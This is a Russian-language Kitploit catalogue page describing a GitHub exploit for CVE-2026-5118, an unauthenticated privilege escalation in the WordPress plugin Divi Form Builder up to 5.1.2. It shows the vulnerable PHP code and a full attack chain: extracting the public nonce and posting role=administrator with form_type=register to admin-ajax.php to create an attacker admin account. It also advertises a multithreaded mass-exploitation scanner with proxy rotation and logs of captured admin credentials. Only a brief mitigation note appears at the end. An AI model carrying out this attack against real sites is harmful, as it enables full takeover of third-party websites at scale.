Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-5118 — Эксплойт на Python для CVE-2026-5118, нацеленный на неаутентифицированное повышение привилегий в Divi Form Builder ≤ 5.1.2. Включает эксплойт для одной цели и многопоточный массовый сканер с автоматическим обнаружением форм, извлечением nonce и внедрением роли для создания учётной записи администратора WordPress. | Kitploit
Инструменты/GitHubGitHub/1beelze/cve-2026-5118
Повышение привилегийГенерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеАутентификацияRed Teaming
GitHub1beelze/cve-2026-5118

CVE-2026-5118

Репозиторий
1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

Эксплойт на Python для CVE-2026-5118, нацеленный на неаутентифицированное повышение привилегий в Divi Form Builder ≤ 5.1.2. Включает эксплойт для одной цели и многопоточный массовый сканер с автоматическим обнаружением форм, извлечением nonce и внедрением роли для создания учётной записи администратора WordPress.

Поделиться

CVE-2026-5118 — Divi Form Builder ≤ 5.1.2

Неаутентифицированное повышение привилегий через внедрение роли
=== Beelze ( zeroday 1diot9 ) ===


📋 Информация об уязвимости

ПолеДетали
CVE IDCVE-2026-5118
CVSS Score9.8 (Критический)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-269 — Некорректное управление привилегиями
ПлагинDivi Form Builder (от Divi Engine)
Затронутые версииВсе версии ≤ 5.1.2
Исправлено в5.1.3 (13 апреля 2026)
Опубликовано20 мая 2026
Исследователь0xd4rk5id3 — EnvoraSec
PoCBeelze ( zeroday 1diot9 )

🔍 Описание

Плагин Divi Form Builder для WordPress уязвим к неаутентифицированному повышению привилегий во всех версиях до 5.1.2 включительно.

Функция create_user() в файле FormSubmissionHandler.php принимает управляемый пользователем параметр role из POST-данных во время регистрации пользователя без проверки соответствия настроенному в форме default_user_role. Единственная «защита» — sanitize_text_field() — которая удаляет HTML-теги и кодирование, но абсолютно не ограничивает значение безопасными ролями, после чего следует проверка существования, которая лишь удостоверяется, что роль существует в WordPress (а роль administrator существует всегда).

Эта тройная ошибка позволяет неаутентифицированным атакующим:

  1. Найти любую страницу с формой Divi Form Builder (контактная, заявка, подписка — неважно)
  2. Извлечь глобальный общий nonce (fb_nonce) из JavaScript-объекта de_fb_obj
  3. Переопределить form_type на register через POST — превратив любую форму в конечную точку регистрации
  4. Внедрить role=administrator в AJAX-запрос
  5. Создать учётную запись администратора с контролируемыми атакующим данными

Результат: Полный захват сайта — ноль аутентификации, ноль взаимодействия пользователя, один POST-запрос.


🧬 Анализ первопричины

1. Несанитизированное получение роли из POST-данных

root@kitploit:~
// includes/shared/handlers/FormSubmissionHandler.php — create_user() ~строка 2250
$role = isset($form_data['role'])
    ? sanitize_text_field($form_data['role'])   // ← Только удаляет теги/кодирование!
    : 'subscriber';                              // ← 'administrator' проходит ЧИСТЫМ

sanitize_text_field() предназначен для санитизации свободного текста (предотвращение XSS). Он НЕ проверяет по белому списку безопасных ролей. Строка "administrator" не содержит HTML-тегов, специального кодирования — она проходит насквозь полностью неизменной.

2. Проверка только существования — не проверка безопасности

root@kitploit:~
// ~строка 2278
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
    !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';   // ← запасной вариант ТОЛЬКО если роль не существует
}

Эта проверка спрашивает: "Существует ли эта роль в WordPress?" — и administrator всегда существует. Она никогда не задаёт правильный вопрос: "Безопасна ли эта роль для публичной самостоятельной регистрации?" Правильная проверка должна сверяться с белым списком, например ['subscriber', 'contributor'], или принудительно использовать настройку default_user_role формы.

3. Прямое назначение роли без проверки прав

root@kitploit:~
// ~строка 2301
$user = new WP_User($user_id);
$user->set_role($role);   // ← управляемая атакующим роль применяется напрямую!

Никакой проверки current_user_can('create_users'). Никакой проверки current_user_can('promote_users'). Никакой проверки прав любого рода. Роль, предоставленная атакующим, передаётся напрямую в set_role().

4. Глобальный общий nonce — доступный на каждой странице с формой

root@kitploit:~
// Локализация JS на фронтенде
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
    'ajax_url' => admin_url('admin-ajax.php'),
    'nonce'    => wp_create_nonce('security'),   // ← ОДИНАКОВЫЙ nonce на ВСЕХ формах, ВСЕХ страницах
    // ...
]);

fb_nonce создаётся через wp_create_nonce('security') — общая строка действия, используемая в каждой форме DFB на сайте. Любой посетитель может извлечь его из исходного кода страницы, прочитав JavaScript-объект de_fb_obj.

5. Переопределение типа формы — любая форма становится конечной точкой регистрации

root@kitploit:~
// AJAX-обработчик
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';

if ($form_type === 'register') {
    $this->create_user($form_data);   // ← вызывается переопределением через POST!
}

form_type берётся из POST-данных, а не из серверной конфигурации формы. Атакующий может отправить form_type=register в любой AJAX-запрос DFB — контактную форму, заявку, подписку — и сервер выполнит код регистрации. Исходное назначение формы не имеет значения.


⚔️ Цепочка атаки

root@kitploit:~
[Неаутентифицированный атакующий]
         │
         ▼
   GET /любая-страница-с-dfb-формой/
   ← Исходный код HTML: de_fb_obj = {"nonce":"abc123def0", ...}
         │
         ▼
   Извлечение fb_nonce из JavaScript-объекта de_fb_obj
         │
         ▼
   POST /wp-admin/admin-ajax.php
   ┌──────────────────────────────────────────────┐
   │  action    = de_fb_ajax_submit_ajax_handler  │
   │  fb_nonce  = abc123def0                      │
   │  role      = administrator        ← ВНЕДРЁН  │
   │  form_type = register          ← ПЕРЕОПРЕДЕЛЁН│
   │  user_login = attacker_admin                 │
   │  user_pass  = AttackerPass123!               │
   │  user_email = [email protected]              │
   └──────────────────────────────────────────────┘
         │
         ▼
   sanitize_text_field('administrator') → 'administrator'    ✓ проходит
   wp_roles()->roles['administrator'] существует? → ДА       ✓ проходит
   $user->set_role('administrator')                          ✓ нет проверки прав
         │
         ▼
   ← {"success": true, "data": {"message": "User created"}}
         │
         ▼
   POST /wp-login.php
   log=attacker_admin & pwd=AttackerPass123!
   ← 302 → /wp-admin/
         │
         ▼
   [Полный доступ администратора] 🔥

🛠️ Инструменты

CVE-2026-5118.py — Эксплойт для одной цели

Полная цепочка эксплойта из 5 фаз с автоматическим поиском форм и извлечением nonce.

root@kitploit:~
python3 CVE-2026-5118.py
root@kitploit:~
  Целевой URL: https://target.com
  Имя пользователя [beelze_admin]:
  Пароль [Beelze123!!@#!]:
  Email [[email protected]]:
  Таймаут (секунды) [15]:
  SOCKS5 прокси (пусто = нет):

Фазы эксплойта:

root@kitploit:~
Phase 1  ▶  Доступность (HTTPS + HTTP откат)
Phase 2  ▶  Обнаружение плагина (проверка версии из readme.txt)
Phase 3  ▶  Поиск форм и извлечение nonce
             ├── Сканирование страниц через REST API
             ├── Проверка общих путей
             ├── Сканирование Sitemap
             └── Сканирование ссылок с главной страницы
Phase 4  ▶  Внедрение роли (повышение привилегий)
Phase 5  ▶  Проверка входа администратора

Вывод (scan_results/CVE-2026-5118_success.txt):

root@kitploit:~
https://target.com | beelze_admin:Beelze123!!@#!

CVE-2026-5118-mass.py — Массовый сканер

Многопоточная массовая эксплуатация с ведением журнала в JSONL и поддержкой возобновления.

root@kitploit:~
python3 CVE-2026-5118-mass.py
root@kitploit:~
  Файл с целями (по одному URL на строку): targets.txt
  Имя пользователя [beelze_admin]:
  Пароль [Beelze123!!@#!]:
  Email [[email protected]]:
  Потоков [10]:
  Таймаут (секунды) [10]:
  Файл с прокси (SOCKS5, по одному на строку, пусто = нет):
  Возобновить предыдущий скан? (y/n) [n]:

Возможности:

  • Многопоточное сканирование с настраиваемым количеством потоков
  • Ротация SOCKS5 прокси
  • Вывод в JSONL для программной обработки
  • Поддержка возобновления — пропускает уже проверенные цели
  • Богатый индикатор прогресса со статистикой в реальном времени
  • Автоматический откат на HTTP при недоступности HTTPS

Вывод (scan_results/CVE-2026-5118_success.txt):

root@kitploit:~
https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!

🔒 Смягчение

  • Обновите Divi Form Builder до версии 5.1.3 или новее
  • Исправление обеспечивает, что назначаемая роль всегда соответствует той, что настроена на стороне сервера в параметре формы default_user_role, игнорируя любой предоставленный пользователем параметр role из POST-данных

Beelze ( zeroday 1diot9 ) — только для образовательных целей и авторизованных исследований безопасности

Скачать инструмент